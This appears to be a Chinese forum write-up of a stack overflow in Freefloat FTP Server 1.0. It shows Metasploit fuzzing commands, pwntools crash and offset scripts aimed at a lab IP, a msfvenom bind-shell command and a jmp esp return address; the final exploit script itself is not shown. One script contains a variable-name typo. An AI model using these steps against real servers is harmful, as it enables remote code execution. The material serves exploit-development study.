首页
社区
课程
招聘
[原创]Freefloat FTP Server1.0栈溢出漏洞分析
发表于: 2021-3-24 15:06 12384

[原创]Freefloat FTP Server1.0栈溢出漏洞分析

2021-3-24 15:06
12384

freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件

freefloatftpserver1.0

使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出漏洞存在

在windowsXP运行漏洞程序,程序打开ftp服务,并监听21号端口

ftpfuzz触发漏洞

eip指向fuzz发送的测试数组‘AAAA‘,程序执行流已被更改,存在溢出漏洞

攻击机kali运行metasploit,运行如下命令

运行结果


靶机崩溃,eip指向未知内存地址,可以溢出

最简单的栈溢出,jmp esp作为跳板跳转到栈中执行

在靶机用Immunity Debugger打开freefloatftpserver1.0运行调试

在kali攻击机用pwntools编写脚本,向ftp服务器的USER输入点发送数据包测试

程序崩溃,eip指向0x41414141,由发送的数据A的ascii码为0x41可知,USER输入点存在溢出漏洞

输入用户名之前,程序会输出一条ftp服务器版本的语句,在immunity debugger中定位输出这句话的函数,从而缩小定位漏洞函数的范围

my-logo.png

查询字符串

在wsprintw函数设置断点

重新发送payload,单步调试,直到运行到出现异常的函数freefloa.004020E0

在freefloa.004020E0函数设置断点,重新发送payload,f7单步步入此函数

重复上述操作,接着在freefloa.00402190函数设置断点,单步步入,程序会在运行到00402881处跳转到004028EB处执行,之后调用freefloa.00402DE0函数,程序崩溃

在freefloa.00402DE0函数设置断点,步入之后未发现存在子函数,并且在返回的时候执行retn 8指令

观察此时esp指向的返回地址为0x41414141,执行retn命令之后eip指向0x41414141,使得程序崩溃

得出结论:freefloa.00402DE0函数可能出现栈溢出

用IDA加载程序进行静态分析,定位到函数sub_00402DE0

Strcpy函数存在溢出漏洞,将函数第三个参数a3的值复制到局部变量v8中,如果a3过长,会覆盖返回地址,那sub_00402DE0函数的参数a2,a3到底是什么?这就回溯到调用此函数的位置了,通过之前动态分析可以得到调用函数为00402190,IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp命令进行比较,根据命令进行不同的响应。

用immunity debugger回溯到sub_00402190函数里的00402881地址,这个地址的指令跳转执行漏洞函数00402DE0,查看栈帧能够获得参数

在IDA中定位,aXommandNotUnde就是上图的command not understood字符串,此处跳转执行402DE0

参数1 V16是输入字符串长度,参数2 v17是输入字符串‘AAAA‘:command not understood’ 查看函数栈帧可验证

结论:函数sub_402DE0栈帧结构,(ebp实际不存在,只是方便记录相对偏移)

只需填充0xFC-1个垃圾数据可溢出到函数返回地址(-1是因为程序在输入字符串前添加了单引号),重新组织poc,返回地址为cccc

返回地址为0x63636363,是cccc的ascii码,验证成功

Windows xp sp3未开启DEP保护

在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可

利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP192.168.112.146

msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.112.146 LPORT=4444 -b '\x00\x0a\x0d' -f c

使用mona插件查询jmp esp指令的地址

从中选择一个地址0x77D29353,作为跳板,跳转到栈上执行shellcode

最终Exploit.py

注:shellcode前16个\x90是因为函数返回时的retn 8需要跳过,也可作为滑板,同时作为缓冲区防止执行shellcode时更改内存使得shellcode执行代码也被更改

执行流程:

栈帧结构:

Shellcode使靶机开放4444端口进行shell连接攻击机,连接成功

 
 
 
 
 
#打开metasploit
msfconsole
#查询可用的fuzz
search fuzzing
#使用ftp fuzz模块
use auxiliary/fuzzers/ftp/ftp_pre_post
#设置靶机
set RHOST 192.168.112.146
#漏洞利用
exploit
#打开metasploit
msfconsole
#查询可用的fuzz
search fuzzing
#使用ftp fuzz模块
use auxiliary/fuzzers/ftp/ftp_pre_post
#设置靶机
set RHOST 192.168.112.146
#漏洞利用
exploit
 
 
 
from pwn import *
p = remote("192.168.112.146", 21)
paylad = 'A'*500
p.sendline(payload)
p.interactive()
from pwn import *
p = remote("192.168.112.146", 21)
paylad = 'A'*500
p.sendline(payload)
p.interactive()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
p = remote("192.168.112.146", 21)
payload = 'A'*(0xfc-1) + 'cccc'
p.sendline(payload)
p.interactive()
from pwn import *

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-4-12 23:25 被mb_uvhwamsn编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//